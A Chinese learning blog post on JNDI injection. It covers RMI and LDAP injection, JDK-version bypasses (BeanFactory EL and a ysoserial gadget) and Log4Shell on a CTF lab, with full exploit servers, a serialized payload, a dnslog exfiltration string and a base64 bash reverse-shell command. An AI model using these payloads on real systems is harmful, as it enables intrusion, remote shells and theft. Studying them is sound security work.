目录

  1. 1. 前言
  2. 2. JNDI概述
    1. 2.1. Naming Service 命名服务
    2. 2.2. Directory Service 目录服务
    3. 2.3. API
  3. 3. JNDI结构
    1. 3.1. InitialContext类
    2. 3.2. Reference类
  4. 4. JNDI注入
    1. 4.1. RMI注入
      1. 4.1.1. 调试
    2. 4.2. LDAP注入
      1. 4.2.1. LDAP协议
      2. 4.2.2. 漏洞
      3. 4.2.3. 调试
    3. 4.3. CORBA注入(咕)
  5. 5. 绕过高版本jdk的攻击
    1. 5.1. 方法一:利用本地恶意 Class 作为 Reference Factory
      1. 5.1.1. 调试
    2. 5.2. 方法二:利用 LDAP 返回序列化数据,触发本地 Gadget
  6. 6. log4j2 RCE(CVE-2021-44228)
    1. 6.1. Apache log4j漏洞靶机
      1. 6.1.1. 验证
      2. 6.1.2. 利用

LOADING

第一次加载文章图片可能会花费较长时间

要不挂个梯子试试?(x

加载过慢请开启缓存 浏览器默认开启

JNDI注入

2024/1/23 Web Java CVE
  |     |   总文章阅读量:

前言

期末考结束了,java这块耽搁太久了

JNDI注入,就是那个让安全圈过年的log4j2漏洞的原理

参考:

https://boogipop.com/2023/03/02/%E4%BB%8ERMI%E5%88%B0JNDI%E6%B3%A8%E5%85%A5/

https://tttang.com/archive/1611/

https://xz.aliyun.com/t/12277

https://drun1baby.top/2022/07/28/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BJNDI%E5%AD%A6%E4%B9%A0/

调试工具:vscode,jdk8u65,idea


JNDI概述

JNDI(Java Naming and Directory Interface,Java命名和目录接口)是为Java应用程序提供命名和目录访问服务的API,允许客户端通过名称发现和查找数据、对象,用于提供基于配置的动态调用

即通过调用 JNDI 的 API 可以定位资源和其他程序对象,访问系统的命名服务(Naming Service)和目录服务(Directory Service)

Naming Service 命名服务

命名服务将名称和对象进行关联,提供通过名称找到对象的操作

例如:DNS 系统将计算机名和 IP 地址进行关联;文件系统将文件名和文件句柄进行关联

名称系统中一些重要的概念:

  • Bindings:表示一个名称和对应对象的绑定关系,

    例:在文件系统中文件名绑定到对应的文件,在 DNS 中域名绑定到对应的 IP。

  • Context:上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。

    例:在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文 (subcontext)

  • References: 在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储

    可以理解为 C/C++ 中的指针,引用中包含了获取实际对象所需的信息,甚至对象的实际状态。

    例:文件系统中实际根据名称打开的文件是一个整数 fd (file descriptor),这就是一个引用,内核根据这个引用值去找到磁盘中的对应位置和读写偏移。


Directory Service 目录服务

目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性

目录服务中的对象称之为目录对象

提供创建、添加、删除目录对象以及修改目录对象属性等操作。由此,我们不仅可以根据名称去查找(lookup)对象(并获取其对应属性),还可以根据属性值去搜索(search)对象。

例:

NISNetwork Information Service,Solaris 系统中用于查找系统相关信息的目录服务;

Active Directory:为 Windows 域网络设计,包含多个目录服务,比如域名服务、证书服务等;

其他基于 LDAP 协议实现的目录服务


API

JNDI 架构上主要包含两个部分,即 Java 的应用层接口和 SPI ,如图:

image-20240123172310525

JNDI分为四种服务:

协议 作用
LDAP 轻量级目录访问协议,约定了 Client 与 Server 之间的信息交互格式、使用的端口号、认证方式等内容
RMI JAVA 远程方法协议,该协议用于远程调用应用程序编程接口,使客户机上运行的程序可以调用远程服务器上的对象
DNS 域名服务
CORBA 公共对象请求代理体系结构

RMI我们前面已经学过了它的反序列化隐患,而其余的几种也存在安全隐患


JNDI结构

JNDI 的功能实现:

javax.naming:主要用于命名操作,包含了访问目录服务所需的类和接口,比如 ContextBindingsReferences、lookup 等。
javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
javax.naming.event:在命名目录服务器中请求事件通知;
javax.naming.ldap:提供LDAP支持;
javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。

InitialContext类

构造方法:

// 构建一个初始上下文。
InitialContext() 
// 构造一个初始上下文,并选择不初始化它。
InitialContext(boolean lazy) 
// 使用提供的环境构建初始上下文。
InitialContext(Hashtable<?,?> environment) 

常用方法:

// 将名称绑定到对象。 
bind(Name name, Object obj) 
// 枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
list(String name) 
// 检索命名对象。
lookup(String name)  
// 将名称绑定到对象,覆盖任何现有绑定。
rebind(String name, Object obj) 
// 取消绑定命名对象。
unbind(String name)  

demo:

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://127.0.0.1:1099/work";
        // 在这JDK里面给的解释是构建初始上下文,其实通俗点来讲就是获取初始目录环境。
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(uri);
    }
}

Reference类

该类表示对在命名/目录系统外部找到的对象的引用

构造方法:

// 为类名为“className”的对象构造一个新的引用。
Reference(String className) 
// 为类名为“className”的对象和地址构造一个新引用。 
Reference(String className, RefAddr addr) 
// 为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。 
Reference(String className, RefAddr addr, String factory, String factoryLocation) 
// 为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。  
Reference(String className, String factory, String factoryLocation)

/*
参数:
className 远程加载时所使用的类名
factory  加载的class中需要实例化类的名称
factoryLocation  提供classes数据的地址可以是file/ftp/http协议
*/

常用方法:

// 将地址添加到索引posn的地址列表中。
void add(int posn, RefAddr addr) 
// 将地址添加到地址列表的末尾。 
void add(RefAddr addr) 
// 从此引用中删除所有地址。  
void clear() 
// 检索索引posn上的地址。 
RefAddr get(int posn) 
// 检索地址类型为“addrType”的第一个地址。  
RefAddr get(String addrType) 
// 检索本参考文献中地址的列举。 
Enumeration<RefAddr> getAll() 
// 检索引用引用的对象的类名。 
String getClassName() 
// 检索此引用引用的对象的工厂位置。  
String getFactoryClassLocation() 
// 检索此引用引用对象的工厂的类名。  
String getFactoryClassName() 
// 从地址列表中删除索引posn上的地址。    
Object remove(int posn) 
// 检索此引用中的地址数。 
int size() 
// 生成此引用的字符串表示形式。
String toString() 

demo:

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class jndi {
    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
        String url = "http://127.0.0.1:8080"; 
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("test", "test", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("aa",referenceWrapper);
    }
}

JNDI注入

版本:(jdk8下载地址:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html#license-lightbox

协议 JDK6 JDK7 JDK8 JDK11
LADP 6u211以下 7u201以下 8u191以下 11.0.1以下
RMI 6u132以下 7u122以下 8u113以下

RMI注入

以一个 RMI 服务为例子,先创建一个 RMI 服务,然后再创建 JNDI 的服务端和客户端,文件结构就是之前文章中的 RMI 基础上再加上 JNDI 服务端和客户端

服务端:

import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.naming.Reference;
import com.sun.jndi.rmi.registry.ReferenceWrapper;

public class JNDIRMIServer {
    public static void main(String[] args) throws Exception{
        Registry registry = LocateRegistry.createRegistry(7778);
        // 创建一个引用,第一个参数是恶意class的名字,第二个参数是beanfactory的名字,我们自定义(和class文件对应),第三个参数表示恶意class的地址
        Reference reference = new Reference("Calculator","Calculator","http://127.0.0.1:8081/");
        ReferenceWrapper wrapper = new ReferenceWrapper(reference);
        registry.bind("RCE",wrapper);
    }

}

然后准备一个弹计算器的恶意class

import java.io.IOException;

public class Calculator {
    public Calculator() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

接下来准备客户端

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDIRMIClient {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://127.0.0.1:7778/RCE";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(uri);
    }
}

然后在恶意class的目录下用 python 起一个 http 服务,端口要和前面第三个位置(即表示恶意class的位置)一样

python -m http.server 8081

接下来启动服务端,再启动客户端,即可弹计算器

image-20240124134316124

调试

断点给在客户端的initialContext.lookup(uri)方法,启动调试并跟进

首先进入了InitialContext#lookup:

image-20240124134903022

调用里面的 lookup,而这个 lookup 实际上指的是GenericURLContext#lookup,这次 JNDI 调用的是 RMI 服务,因此进入到了GenericURLContext,对应不同的服务 contenxt 也会不同

进去之后发现这个类是 RegistryContext,也就是 RMI 对应 lookup() 方法的类

至此,可以基本说明 JNDI 调用 RMI 服务的时候,虽然 API 是 JNDI 的,但是还是去调用了原生的 RMI 服务

所以,对于 JNDI+RMI 的使用,RMI 中存在的漏洞,JNDI 这里也会有


LDAP注入

在rmi注入被修复之后的版本,客户端执行上面的操作会报错Exception in thread "main" javax.naming.ConfigurationException: The object factory is untrusted. Set the system property 'com.sun.jndi.rmi.object.trustURLCodebase' to 'true'.,因为trustURLCodebase默认变为了false,因此无法实例化恶意类了

这种情况可以用 ldap 进行绕过

LDAP协议

LDAP 既是一类服务,也是一种协议,定义在 RFC2251(RFC4511) 中,是早期 X.500 DAP (目录访问协议) 的一个子集,因此有时也被称为 X.500-lite

LDAP Directory 作为一种目录服务,主要用于带有条件限制的对象查询和搜索。目录服务作为一种特殊的数据库,用来保存描述性的、基于属性的详细信息。和传统数据库相比,最大的不同在于目录服务中数据的组织方式,它是一种有层次的树形结构,因此它有优异的读性能,但写性能较差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。

LDAP 的请求和响应是 ASN.1 格式,使用二进制的 BER 编码,操作类型(Operation)包括 Bind/Unbind、Search、Modify、Add、Delete、Compare 等等,除了这些常规的增删改查操作,同时也包含一些拓展的操作类型和异步通知事件。


漏洞

先起一个 LDAP 的服务,导入unboundid-ldapsdk依赖,也可以直接使用 marshalsec 项目 来起LDAP服务:

<dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>3.2.0</version>
    <scope>compile</scope>
</dependency>

Server端:

package JNDI;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LdapServer {
    private static final String LDAP_BASE = "dc=example,dc=com";
    public static void main (String[] args) {
        String url = "http://127.0.0.1:8000/#evilObject";
        int port = 1234;
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();
        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }
    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        private URL codebase;
        /**
         * */ public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }
        /**
         * {@inheritDoc}
         * * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */ @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }
        }
        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

Client端:

package JNDI;

import javax.naming.InitialContext;

public class JNDILdapClient {
    public static void main(String[] args) throws Exception{
        String url = "ldap://127.0.0.1:1234/evilObject";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(url);
    }
}

evilObject:

import java.io.IOException;

public class evilObject {
    public evilObject() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}

先 javac 编译恶意类,然后用 python 起一个 HTTP 服务用于访问恶意类,再跑服务端代码,再跑客户端

image-20241222163009437

然后就能弹出计算器

这个攻击就还是我们之前说的 Reference

调试

断点下在 lookup 上

image-20241222163628537

跟进该方法,第一次进的也是 InitialContext

image-20241222163958190

然后跟进这个 lookup

image-20241222164431914

进入了ldapURLContenxt的 lookup 方法中,因为一种服务对应一种context,随之进入父类lookup

image-20241222164640483

继续调用 lookup

image-20241222164744865

接下来进 p_lookup

image-20241222164850511

进 c_lookup

image-20241222165047216

进入了 Ldapctx 调用了 decodeObject 对引用进行解密

image-20241222165219499

调用 decodeReference,接下来一路跟进回到前面的 LdapCtx

image-20241222165856380

调用 DirectoryManager.getObjectInstance

image-20241222170252575

在里面获取了引用工厂,继续跟进

image-20241222170404863

loadClass 了我们的恶意类

image-20241222170514567

到最底下完成初始化,从而弹出计算器

注意一点就是,LDAP+Reference 的技巧远程加载 Factory 类不受 RMI+Reference 中的 com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase 等属性的限制,所以适用范围更广。但在JDK 8u191、7u201、6u211之后,com.sun.jndi.ldap.object.trustURLCodebase属性的默认值被设置为false,对 LDAP Reference 远程工厂类的加载增加了限制。

所以,当JDK版本介于8u191、7u201、6u211与6u141、7u131、8u121之间时,我们就可以利用 LDAP+Reference 的技巧来进行JNDI注入的利用。

因此,这种利用方式的前提条件就是目标环境的JDK版本在JDK8u191、7u201、6u211以下


CORBA注入(咕)


绕过高版本jdk的攻击

看一下 jdk8u191 之后的版本对于这个漏洞的修复手段

// 旧版本JDK  
/**  
 * @param className A non-null fully qualified class name.  
 * @param codebase A non-null, space-separated list of URL strings.  
 */  
public Class<?> loadClass(String className, String codebase)  
    throws ClassNotFoundException, MalformedURLException {  

    ClassLoader parent = getContextClassLoader();  
    ClassLoader cl =  
        URLClassLoader.newInstance(getUrlArray(codebase), parent);  

    return loadClass(className, cl);  
}  


// 新版本JDK  
/**  
 * @param className A non-null fully qualified class name.  
 * @param codebase A non-null, space-separated list of URL strings.  
 */  
public Class<?> loadClass(String className, String codebase)  
    throws ClassNotFoundException, MalformedURLException {  
    if ("true".equalsIgnoreCase(trustURLCodebase)) {  
        ClassLoader parent = getContextClassLoader();  
        ClassLoader cl =  
            URLClassLoader.newInstance(getUrlArray(codebase), parent);  

        return loadClass(className, cl);  
    } else {  
        return null;  
    }  
}

很容易看出来,在使用 URLClassLoader 加载器加载远程类之前加了个if语句检测:根据 trustURLCodebase的值是否为true 的值来进行判断,它的值默认为 false,从而让我们加载不了恶意类

接下来使用 8u202 版本进行操作

方法一:利用本地恶意 Class 作为 Reference Factory

既然不让远程加载恶意类了,那么就需要服务端本地 ClassPath 中存在恶意 Factory 类可被利用来作为 Reference Factory 进行攻击利用

该恶意 Factory 类必须实现 javax.naming.spi.ObjectFactory 接口,实现该接口的 getObjectInstance() 方法

大佬找到的是这个 org.apache.naming.factory.BeanFactory 类,其满足上述条件并存在于 Tomcat8 依赖包中,应用广泛

image-20241222220859078

该类的 getObjectInstance() 函数中会通过反射的方式实例化 Reference 所指向的任意 Bean Class(Bean Class 就类似于我们之前说的那个 CommonsBeanUtils 这种),并且会调用 setter 方法为所有的属性赋值。而该 Bean Class 的类名、属性、属性值,全都来自于 Reference 对象,均是攻击者可控的


具体依赖 Tomcat 中的 jar 包为:catalina.jar、el-api.jar、jasper-el.jar。

<dependency>
    <groupId>org.apache.tomcat.embed</groupId>
    <artifactId>tomcat-embed-core</artifactId>
    <version>8.5.28</version>
</dependency>
<dependency>
    <groupId>org.apache.tomcat.embed</groupId>
    <artifactId>tomcat-embed-el</artifactId>
    <version>8.5.28</version>
</dependency>

Server:

package JNDI;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.StringRefAddr;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

// JNDI 高版本 jdk 绕过服务端
public class JNDIBypassHighJava {
    public static void main(String[] args) throws Exception {
        System.out.println("[*]Evil RMI Server is Listening on port: 1099");
        Registry registry = LocateRegistry.createRegistry( 1099);
        // 实例化Reference,指定目标类为javax.el.ELProcessor,工厂类为org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "",
                true,"org.apache.naming.factory.BeanFactory",null);
        // 强制将'x'属性的setter从'setX'变为'eval', 详细逻辑见BeanFactory.getObjectInstance代码
        ref.add(new StringRefAddr("forceString", "x=eval"));
        // 利用表达式执行命令
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
                ".newInstance().getEngineByName(\"JavaScript\")" +
                ".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));
        System.out.println("[*]Evil command: calc");
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}

可以看到这里用到了 EL 表达式注入实现 RCE

Client:

package JNDI;

import javax.naming.Context;
import javax.naming.InitialContext;

public class JNDIBypassHighJavaClient {
    public static void main(String[] args) throws Exception {
        String uri = "rmi://localhost:1099/Object";
        Context context = new InitialContext();
        context.lookup(uri);
    }
}

image-20241222220754938

调试

下断点在 lookup,前面都一样,一路跟进过去到 RegistryContext 这个类的 decodeObject() 方法当中,这个方法当中调用了 getObjectInstance()

image-20241222235427425

跟进去,不一样的地方在 getObjectFactoryFromReference

image-20241222235608663

跟进去,发现这里调用了 loadClass,实例化 BeanFactory 用的

image-20241222235657705

然后在底下的 newInstance

image-20241222235831470

这里检验传入的类是否是ObjectFactory类型的,也就是说,我们传入的 Factory 类必须实现 ObjectFactory 接口类、而 org.apache.naming.factory.BeanFactory 正好满足这一点

返回之后出来,继续看 getObjectInstance

image-20241223000129815

判断 obj 参数是否是 ResourceRef 类实例,这就是为什么我们在恶意 RMI 服务端中构造 Reference 类实例的时候必须要用 Reference 类的子类 ResourceRef 类来创建实例

image-20241223000725921

又一个 loadClass,这次是 ELProcessor,获取 Bean 类为 javax.el.ELProcessor

image-20241223001040801

然后实例化该类并获取其中的 forceString 类型的内容,其值是我们构造的 x=eval 内容

image-20241223001327675

继续往下

image-20241223001609752

查找 forceString 的内容中是否存在"="号,不存在的话就调用属性的默认 setter 方法,存在的话就取键值、其中键是属性名而对应的值是其指定的 setter 方法

这样之前设置的 forceString 的值就可以强制将 x 属性的 setter 方法转换为调用我们指定的 eval() 方法了,这是 BeanFactory 类能进行利用的关键点

// 强制将'x'属性的setter从'setX'变为'eval', 详细逻辑见BeanFactory.getObjectInstance代码
ref.add(new StringRefAddr("forceString", "x=eval"));
// 利用表达式执行命令
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
                          ".newInstance().getEngineByName(\"JavaScript\")" +
                          ".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));

即接下来会执行eval(\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" + ".newInstance().getEngineByName(\"JavaScript\")" + ".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\"))

最后反射调用 EL 的 eval 弹出计算器

image-20241223002138102


上面这个方法完全没涉及到 trustURLCodebase 的检测,因为 loadClass 的部分都是本地类,从而实现了绕过


方法二:利用 LDAP 返回序列化数据,触发本地 Gadget

LDAP 服务端除了支持 JNDI Reference 这种利用方式外,还支持直接返回一个序列化的对象

如果 Java 对象的 javaSerializedData 属性值不为空,则客户端的 obj.decodeObject() 方法就会对这个字段的内容进行反序列化

image-20241223004258826

(即JAVA_ATTRIBUTES[1]是 javaSerializedData)

image-20241223002942216

image-20241223003013812

此时,如果服务端 ClassPath 中存在反序列化多功能利用 Gadget 如 CommonsCollections 库,那么就可以结合该 Gadget 实现反序列化漏洞攻击


那么加上依赖

<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

Server:这里是cc6,用 ysoserial 生成一下就行java -jar ysoserial-master.jar CommonsCollections6 'calc' | base64

package JNDI;

import com.unboundid.util.Base64;
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;

public class JNDIGadgetServer {

    private static final String LDAP_BASE = "dc=example,dc=com";


    public static void main (String[] args) {

        String url = "http://vps:8000/#ExportObject";
        int port = 1234;


        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));

            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();

        }
        catch ( Exception e ) {
            e.printStackTrace();
        }
    }

    private static class OperationInterceptor extends InMemoryOperationInterceptor {

        private URL codebase;


        /**
         * */ public OperationInterceptor ( URL cb ) {
            this.codebase = cb;
        }


        /**
         * {@inheritDoc}
         * * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
         */ @Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }


        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "Exploit");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if ( refPos > 0 ) {
                cbstring = cbstring.substring(0, refPos);
            }

            // Payload1: 利用LDAP+Reference Factory
//            e.addAttribute("javaCodeBase", cbstring);
//            e.addAttribute("objectClass", "javaNamingReference");
//            e.addAttribute("javaFactory", this.codebase.getRef());

            // Payload2: 返回序列化Gadget
            try {
                e.addAttribute("javaSerializedData", Base64.decode("rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMubWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAABXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFuc2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAN4cHZyABFqYXZhLmxhbmcuUnVudGltZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmplY3Q7TAALaU1ldGhvZE5hbWV0ABJMamF2YS9sYW5nL1N0cmluZztbAAtpUGFyYW1UeXBlc3QAEltMamF2YS9sYW5nL0NsYXNzO3hwdXIAE1tMamF2YS5sYW5nLk9iamVjdDuQzlifEHMpbAIAAHhwAAAAAnQACmdldFJ1bnRpbWV1cgASW0xqYXZhLmxhbmcuQ2xhc3M7qxbXrsvNWpkCAAB4cAAAAAB0AAlnZXRNZXRob2R1cQB+ABsAAAACdnIAEGphdmEubGFuZy5TdHJpbmeg8KQ4ejuzQgIAAHhwdnEAfgAbc3EAfgATdXEAfgAYAAAAAnB1cQB+ABgAAAAAdAAGaW52b2tldXEAfgAbAAAAAnZyABBqYXZhLmxhbmcuT2JqZWN0AAAAAAAAAAAAAAB4cHZxAH4AGHNxAH4AE3VyABNbTGphdmEubGFuZy5TdHJpbmc7rdJW5+kde0cCAAB4cAAAAAF0AARjYWxjdAAEZXhlY3VxAH4AGwAAAAFxAH4AIHNxAH4AD3NyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eHg="));
            } catch (ParseException exception) {
                exception.printStackTrace();
            }

            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }

    }
}

Client:

package JNDI;


import javax.naming.Context;
import javax.naming.InitialContext;

public class JNDIGadgetClient {
    public static void main(String[] args) throws Exception {
        // lookup参数注入触发
        Context context = new InitialContext();
        context.lookup("ldap://localhost:1234/ExportObject");
    }
}

运行即可弹出计算器


log4j2 RCE(CVE-2021-44228)

Apache Log4j2是一个基于Java的日志记录工具。

由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞

版本:2.0 <= Apache log4j2 <= 2.14.1

Apache log4j漏洞靶机

靶机来自NSSCTF:https://www.nssctf.cn/problem/1124

验证

用dnslog验证,给参数c传入payload,同时验证版本

${jndi:ldap://${sys:java.version}.pzsvx8i3vjkmt5jek36lwlh80z6pue.oastify.com}

更多外带敏感信息参考:https://www.docs4dev.com/docs/zh/log4j2/2.x/all/manual-lookups.html#JndiLookup

image-20240124173547326

回显则说明存在漏洞,版本是1.8.0_144,只有ldap注入

利用

使用工具JNDI-Injection-Exploit.jar:https://github.com/welk1n/JNDI-Injection-Exploit

java -jar JNDI-Injection-Exploit.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTUuMjM2LjE1My4xNzAvODAgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "127.0.0.1"

然后我想了想这里我是不是得开三个内网穿透端口,nc一个,ldap一个,还要给内网8180一个。。。寄(花生壳免费最多开两个)